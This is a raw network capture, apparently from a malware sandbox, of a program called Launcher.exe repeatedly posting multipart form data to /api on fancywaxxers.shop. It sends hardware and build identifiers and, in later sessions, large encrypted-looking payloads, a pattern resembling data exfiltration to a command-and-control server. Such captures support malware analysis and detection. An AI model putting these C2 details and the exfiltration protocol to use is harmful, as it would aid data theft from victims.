2024-12-30 19:42:03 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1B440BLEDDO6AXKKBU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12848 Host: fancywaxxers.shop
2024-12-30 19:42:03 UTC	12848	OUT	Data Raw: 2d 2d 31 42 34 34 30 42 4c 45 44 44 4f 36 41 58 4b 4b 42 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 37 45 45 43 37 46 33 31 39 36 30 32 44 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 31 42 34 34 30 42 4c 45 44 44 4f 36 41 58 4b 4b 42 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 42 34 34 30 42 4c 45 44 44 4f 36 41 58 4b 4b 42 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 Data Ascii: --1B440BLEDDO6AXKKBUContent-Disposition: form-data; name="hwid"E6E7EEC7F319602D72671E44D842029A--1B440BLEDDO6AXKKBUContent-Disposition: form-data; name="pid"2--1B440BLEDDO6AXKKBUContent-Disposition: form-data; name="lid"yau6Na--62291
2024-12-30 19:42:03 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a8fup3hdnlgsv8mn6k6k1o4rvt; expires=Fri, 25 Apr 2025 13:28:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bc4fKigjumXsh93KcHUoJbccFEcnzFEVXdJCkMS58sC4891UUnLPanJFUNTHyBUdg4A%2BqOPTXvJJ6v0wBMc3UzMzL7VnWgXc1xSuV1xV3s%2FlgBb4OA1ux9naDLYIXgf9YZbQ6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482c5f9bec32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2652&min_rtt=1671&rtt_var=1328&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13789&delivery_rate=1747456&cwnd=178&unsent_bytes=0&cid=a9959bb34e86e003&ts=530&x=0"
2024-12-30 19:42:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:42:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49702	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:04 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AJV7MU0O70OOB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15050 Host: fancywaxxers.shop
2024-12-30 19:42:04 UTC	15050	OUT	Data Raw: 2d 2d 41 4a 56 37 4d 55 30 4f 37 30 4f 4f 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 37 45 45 43 37 46 33 31 39 36 30 32 44 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 41 4a 56 37 4d 55 30 4f 37 30 4f 4f 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 4a 56 37 4d 55 30 4f 37 30 4f 4f 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a 2d 2d 41 4a 56 37 4d 55 30 Data Ascii: --AJV7MU0O70OOBContent-Disposition: form-data; name="hwid"E6E7EEC7F319602D72671E44D842029A--AJV7MU0O70OOBContent-Disposition: form-data; name="pid"2--AJV7MU0O70OOBContent-Disposition: form-data; name="lid"yau6Na--622914791--AJV7MU0
2024-12-30 19:42:04 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nshre65tam5grrjmkh87lj4ce9; expires=Fri, 25 Apr 2025 13:28:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wao0dq9nd80TUz6hFQHyTdkHAJSWhmUOcq%2FUySWbtgee0fKbS1vjo3FfWl8UxnNYa%2F1SwgbpWPXfNF4jGVF5UhBqlWq7KHv%2BIpJW%2FwSZkUtpDy7LHbz5Y579OAg6oJ2YfhOqnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482ccff9ade9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1628&rtt_var=625&sent=13&recv=20&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15986&delivery_rate=1731909&cwnd=209&unsent_bytes=0&cid=3c91e7f6eeb46531&ts=560&x=0"
2024-12-30 19:42:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:42:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49703	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:06 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JDYDVLQA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20345 Host: fancywaxxers.shop
2024-12-30 19:42:06 UTC	15331	OUT	Data Raw: 2d 2d 4a 44 59 44 56 4c 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 37 45 45 43 37 46 33 31 39 36 30 32 44 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 4a 44 59 44 56 4c 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 44 59 44 56 4c 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a 2d 2d 4a 44 59 44 56 4c 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --JDYDVLQAContent-Disposition: form-data; name="hwid"E6E7EEC7F319602D72671E44D842029A--JDYDVLQAContent-Disposition: form-data; name="pid"3--JDYDVLQAContent-Disposition: form-data; name="lid"yau6Na--622914791--JDYDVLQAContent-Disp
2024-12-30 19:42:06 UTC	5014	OUT	Data Raw: 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9f be 7b Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x){
2024-12-30 19:42:06 UTC	1136	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mll3mtnj6eemktpiep66tvfmn9; expires=Fri, 25 Apr 2025 13:28:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x2CEwh66mL5EFHGT%2B7TfQflyY7L6ui4izG9erRbdNQT8ru1giMumgsDnp8CrAaju%2FTxFi55zlTSf1HV5aZbHe5lqjjv%2B52fJ2dBYrk6NwhSAlMjHkbaGczKsSFQGcVAuY%2BTqvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482d7eb2ec32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7076&min_rtt=2418&rtt_var=3916&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21298&delivery_rate=1207609&cwnd=178&unsent_bytes=0&cid=2c0b438016fa058c&ts=644&x=0"
2024-12-30 19:42:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:42:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49704	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q6TSHF2OA146EAM6J34 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1229 Host: fancywaxxers.shop
2024-12-30 19:42:07 UTC	1229	OUT	Data Raw: 2d 2d 51 36 54 53 48 46 32 4f 41 31 34 36 45 41 4d 36 4a 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 37 45 45 43 37 46 33 31 39 36 30 32 44 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 51 36 54 53 48 46 32 4f 41 31 34 36 45 41 4d 36 4a 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 36 54 53 48 46 32 4f 41 31 34 36 45 41 4d 36 4a 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 Data Ascii: --Q6TSHF2OA146EAM6J34Content-Disposition: form-data; name="hwid"E6E7EEC7F319602D72671E44D842029A--Q6TSHF2OA146EAM6J34Content-Disposition: form-data; name="pid"1--Q6TSHF2OA146EAM6J34Content-Disposition: form-data; name="lid"yau6Na--62
2024-12-30 19:42:08 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hnnajts1q0lpc5g82mbbetst2n; expires=Fri, 25 Apr 2025 13:28:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NIRjbh0y2FoK4n9OQUlg146PfqOAj9NgGxEuPp6sON1doj2aybZy0g0XHAYkzNsRmM6wC2u3qnuljqH60DDu1e%2FDQi0ov8nqnjqPbBiVFRq8kvwiPKEN%2Fr4Cwij2ENKsT1LiVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482e1b8c04363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1701&rtt_var=785&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2148&delivery_rate=1273996&cwnd=238&unsent_bytes=0&cid=7fc5f9d627b8c8a9&ts=538&x=0"
2024-12-30 19:42:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:42:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49705	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:09 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VUZNHN1N0OFOK54QY1R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550993 Host: fancywaxxers.shop
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 2d 2d 56 55 5a 4e 48 4e 31 4e 30 4f 46 4f 4b 35 34 51 59 31 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 37 45 45 43 37 46 33 31 39 36 30 32 44 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 56 55 5a 4e 48 4e 31 4e 30 4f 46 4f 4b 35 34 51 59 31 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 55 5a 4e 48 4e 31 4e 30 4f 46 4f 4b 35 34 51 59 31 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 Data Ascii: --VUZNHN1N0OFOK54QY1RContent-Disposition: form-data; name="hwid"E6E7EEC7F319602D72671E44D842029A--VUZNHN1N0OFOK54QY1RContent-Disposition: form-data; name="pid"1--VUZNHN1N0OFOK54QY1RContent-Disposition: form-data; name="lid"yau6Na--62
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: ba a0 fd ad 96 02 94 fc f8 ec b9 43 41 bb ee 43 aa 6a 6a 47 61 33 61 48 5e 73 2a 31 f0 f0 29 19 30 2e 0f eb 87 7a 64 0a 72 ca 70 b0 f7 96 5b f9 61 7d fa 94 bb 08 98 40 6d 10 f7 51 6f a2 79 98 fd cc 5d 44 b4 d1 97 06 d8 47 98 49 4a 6b ba ca a8 00 55 eb 3f 48 b1 ba 98 0d a4 df 79 a2 e9 e2 18 10 ef 17 e3 91 07 0a 42 fe 70 11 da 98 57 d7 48 d1 ae fe d4 68 db 05 e6 47 3e d8 be 39 cc fd 5a b9 77 8d 27 7f f9 f5 60 06 ae ff 93 a3 4b 71 8c fd ed d7 eb 91 a9 bf 97 2f 9e 94 3b 09 92 53 b8 93 3b 05 40 a0 ba c8 f0 06 a3 e0 0e 78 6c 5c 79 8a bd ba 03 17 b4 5e f8 a4 0c c0 6e 3f 70 ab 42 29 ab 76 97 40 a3 96 00 f8 f4 8d a1 2d 3f 89 07 d3 36 6e 60 e8 28 0a de 9b a3 0a d4 5c b0 b3 3f a0 6e 37 f9 7c a9 50 0e 77 c7 67 d2 4c 7a 5a 2a d7 fa 55 75 b4 c4 fc e7 ce 0e 59 1b 29 3e Data Ascii: CACjjGa3aH^s1)0.zdrp[a}@mQoy]DGIJkU?HyBpWHhG>9Zw'`Kq/;S;@xl\y^n?pB)v@-?6n`(\?n7\|PwgLzZUuY)>
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 0f 4b eb 7a b0 43 04 00 27 04 61 51 81 48 65 16 03 6f f6 02 1d 3d e0 71 80 51 85 d4 e7 03 c0 15 8f 47 f2 81 09 88 69 fe 27 65 2f 28 bd 09 a8 73 04 57 08 7c 3a 4f 01 b4 0f fb 18 df 10 be 70 68 10 58 a5 c2 fb 99 5d b7 0e ff e6 b6 21 1d 2a d8 71 69 2f 54 3d c8 30 0d 56 e7 20 c1 d3 31 f2 5e 40 dd 8d 94 72 9e 90 1c 9b 04 a5 c7 f1 35 c8 85 f0 81 4b c5 58 34 6a ef b2 3c 48 47 67 3f bc 41 c3 c2 93 c2 ae c5 ee 2f 8f 6d 93 42 ed 9d 46 b7 a9 8c 9f 15 5d 47 58 8a de 16 c7 20 ef e3 8d 8c 74 d3 b0 b5 ca a3 cc 67 08 ba 6e d4 18 db e8 d9 ad 09 94 3b ff aa 78 8c 41 a2 31 73 46 56 a2 88 15 91 a5 33 a9 8b 30 29 8c 60 97 d8 d0 cb c0 d6 92 ad 3b ab a4 cb 11 be 09 2d 1b aa 0f 4b d6 6d b3 48 57 94 e2 53 c4 1b b5 06 2c fc b3 a7 ae a8 6b 10 4e b7 65 45 2a c3 41 6a f8 2b 19 84 cb Data Ascii: KzC'aQHeo=qQGi'e/(sW\|:OphX]!qi/T=0V 1^@r5KX4j<HGg?A/mBF]GX tgn;xA1sFV30)`;-KmHWS,kNeEAj+
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 15 52 df df d0 35 d2 f2 5d f5 d2 90 7e 59 1d 5c 7f 22 cc 37 87 92 dd 1e b1 be 68 40 3e 1e ae ef c1 7b de 6b 0e 61 cd 02 94 5a 0d 9d f5 ae c6 e7 a5 8b 63 b7 13 70 02 18 41 0e f3 de 6b a7 41 68 49 bd 14 30 8c 21 ab 74 10 b2 7f 54 57 34 3c 0d f3 c1 70 e0 93 8c 0d a6 c1 be 0a 37 2c db 46 f0 85 a7 05 f7 b1 95 4a ae 4d cf 48 c0 cf 76 1f bf c2 32 e8 dc d0 03 4e 4b af 19 a8 05 34 66 1f cf 3e f0 d9 77 e9 4b 90 de a8 f3 2b eb de 30 2f fd fe ed ed 13 5d d1 6e d9 05 36 fb 36 6b 73 2f 02 9a bc c3 77 22 b1 2f 88 20 71 a3 f4 89 a8 83 d0 e7 ca b3 7c 98 87 23 f3 a7 5c aa b9 4c fa ea 7d d6 6a 18 2e 73 64 d8 78 46 86 86 36 b5 22 9f 70 b2 7f 3d 1d c0 d7 92 58 f9 72 a6 bb 4b 3f c4 31 13 b4 1a d3 ac fb bc e7 1c cf 37 fb b1 ef dd 8f f0 2d 1a b9 e9 cb a6 54 ef 6d 0b 1d bf 62 92 Data Ascii: R5]~Y\"7h@>{kaZcpAkAhI0!tTW4<p7,FJMHv2NK4f>wK+0/]n66ks/w"/ q\|#\L}j.sdxF6"p=XrK?17-Tmb
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 25 f2 d0 db 47 d7 24 ee a2 dc 9c 55 ec 42 e0 db c5 98 c8 e3 44 77 cc f9 9f d0 44 4f c4 29 35 15 19 69 44 e9 88 f4 f0 b1 71 ae 4b a9 4d 58 95 c2 0f 57 79 6d 21 10 5b da 50 4a 32 04 e3 2f be 79 ce 3f bd d6 c8 83 eb 80 c2 28 93 9c ca fd 63 f7 ca 95 bd 87 00 86 f9 12 6c 0b 61 50 0b 10 eb d0 68 9d 1a 72 70 d8 13 42 4d 6b f7 5e 4b f9 60 2e 82 46 11 a7 d4 11 83 7b c6 0a 1b 56 25 38 45 03 8f 97 bb 7a c3 ce 79 a2 9f d4 90 d6 7f f4 fd ce cc 33 1f 67 08 4c 79 bd 49 f3 5d db dc 1d f5 86 e7 d8 a0 15 2e 5d d8 05 1c ee 73 3e 2b b6 1e fb 47 b0 6f a8 e9 d7 43 cd 0d 0e 8a af 88 e0 d6 97 bf 0d 67 d4 20 e2 90 7d d3 17 24 43 eb 00 ce d5 92 7a 57 e5 cf 6a e2 12 7c 21 bd 61 b5 64 b5 9b 59 0b 75 65 98 fc e2 d1 53 fe 07 cd 06 2b 9a 75 97 37 52 eb 23 39 a7 e8 3d 56 f4 cc d6 84 f9 Data Ascii: %G$UBDwDO)5iDqKMXWym![PJ2/y?(claPhrpBMk^K`.F{V%8Ezy3gLyI].]s>+GoCg }$CzWj\|!adYueS+u7R#9=V
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 87 ad 30 53 d0 22 44 24 56 0d 75 58 a5 9b 00 fc 41 e2 90 74 0a 2c 0e 75 c8 21 47 a7 47 84 22 12 ea ca 63 e3 94 96 23 80 af b7 0b bb a1 18 1d 9a 84 35 3d 84 69 df a4 26 34 63 9a 60 ba 88 3f c2 76 51 0b 11 d3 fc 20 ef 29 aa f4 f5 f8 5c 13 8d c2 b7 89 9f 15 63 ec 5f 41 f4 fe 89 35 74 7b 9b 4d 2e 92 d9 58 13 42 9f 2f dc 1d bc fa 34 5a 07 2a fa aa 89 41 40 ef 92 3e 8a 9c e3 7d 6a a4 2c 76 61 78 77 42 7c 01 b3 70 c5 58 96 d6 a6 dd 24 db 25 8b b7 db c7 67 a0 b5 5e 38 11 81 e4 6c 97 93 43 f8 11 9a e2 35 8e 7a cd 0d 83 c1 3a a9 0c e2 77 5d 05 b0 8f d8 ae 4d d5 a9 e3 37 af 7e 7d b3 7b 66 28 2d 8e 53 ed ba 1d 07 e8 6f e1 23 eb 7a ac 62 57 da f4 69 e4 13 11 81 bc ea 98 69 1e 32 36 94 0b 14 35 19 3b 49 db 07 cb ac 3b 4c 84 3c 2e e6 5b d6 17 09 ef 7a 43 7f 52 b8 24 f8 Data Ascii: 0S"D$VuXAt,u!GG"c#5=i&4c`?vQ )\c_A5t{M.XB/4Z*A@>}j,vaxwB\|pX$%g^8lC5z:w]M7~}{f(-So#zbWii265;I;L<.[zCR$
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 27 3b aa 72 83 bb ac 2f cf 1a ca 43 24 4e d9 63 95 d5 98 34 c7 ff f2 c6 76 a0 1a 19 8a ba ae b8 6a 06 ba d0 b8 a4 27 59 b4 b0 6b d5 24 98 c4 50 00 e9 b7 35 34 f0 a8 3c d4 54 ef bf 7f be 54 60 30 33 6a c5 98 6c c0 d4 98 cb fb bf 5b 60 9b 0e 3e 78 9a 07 31 99 80 36 91 a0 a0 ae 86 78 57 00 c6 f0 5b 13 f6 a6 9d f2 84 a9 32 dc c2 c7 25 bf 14 09 00 5a c7 b1 e7 ee 1a fe 6f d6 9d 22 6e dc 3e 4a 65 3b 03 bf d1 35 33 d9 1b 66 45 32 d7 4e f7 94 58 71 17 d9 fc ad 4a c9 d9 93 6f ba 1f c7 23 db 37 02 6f 6a b6 85 97 c9 f3 ce 01 c8 22 b6 a5 ed 17 a2 1c a5 43 40 97 bf ed 61 60 d6 79 4f 9e 61 15 39 56 37 8d 65 36 3c 27 c8 b0 ce e2 62 c7 d5 87 ab 8b 11 c0 4e 22 fd 4b 0b f4 42 9f c8 a2 21 ec 78 8c 66 61 a2 e0 e8 4d 35 d5 0f 8c 44 c1 ea 8b 20 f1 88 7c 0f c8 59 04 a6 9f 14 f6 Data Ascii: ';r/C$Nc4vj'Yk$P54<TT`03jl[`>x16xW[2%Zo"n>Je;53fE2NXqJo#7oj"C@a`yOa9V7e6<'bN"KB!xfaM5D \|Y
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 8e 77 b9 a3 f1 a6 c5 78 5d 2c ef 68 2b b6 a0 72 7e bf 73 a6 30 aa 0d 84 72 de 32 f4 90 89 5e 46 08 43 74 e8 33 be d5 b9 66 74 ac d6 21 ee 81 ed b2 fd 74 0e ce bc 31 39 cf c4 28 38 57 93 bb bd ef df ed 89 a2 40 c0 07 18 82 17 19 84 31 10 0c 87 12 53 79 56 c4 50 d6 09 c6 50 25 14 b6 87 e5 ac d3 da 1b c2 b7 22 8a ba ee e8 c6 7d 27 1a 65 a9 81 5e 39 38 60 7f 08 9b a8 89 98 96 a5 e8 21 82 12 f6 99 cc 3c 1b 49 c8 cf 13 40 bc 29 b3 50 24 55 cb 57 a7 f5 67 b2 b4 f6 0a 80 c6 50 31 c2 dc e9 4f 0a d2 6b 67 79 e9 83 c6 35 2e ff 39 ae 11 5f 2d 77 f9 d2 c2 b7 4d b3 06 05 45 05 aa 1c 48 2f 42 f5 5e 72 d6 63 7b 9c c2 e5 0e a1 78 58 ad f5 b9 7e 6b d1 f2 f0 63 b5 ca 43 bb 72 0a 10 d0 32 53 a8 ee 1d 58 59 f0 41 c3 eb 33 ab 95 75 21 55 ed 7d 46 d1 37 0e d5 bb 2b 55 d8 f1 74 Data Ascii: wx],h+r~s0r2^FCt3ft!t19(8W@1SyVPP%"}'e^98`!<I@)P$UWgP1Okgy5.9_-wMEH/B^rc{xX~kcCr2SXYA3u!U}F7+Ut
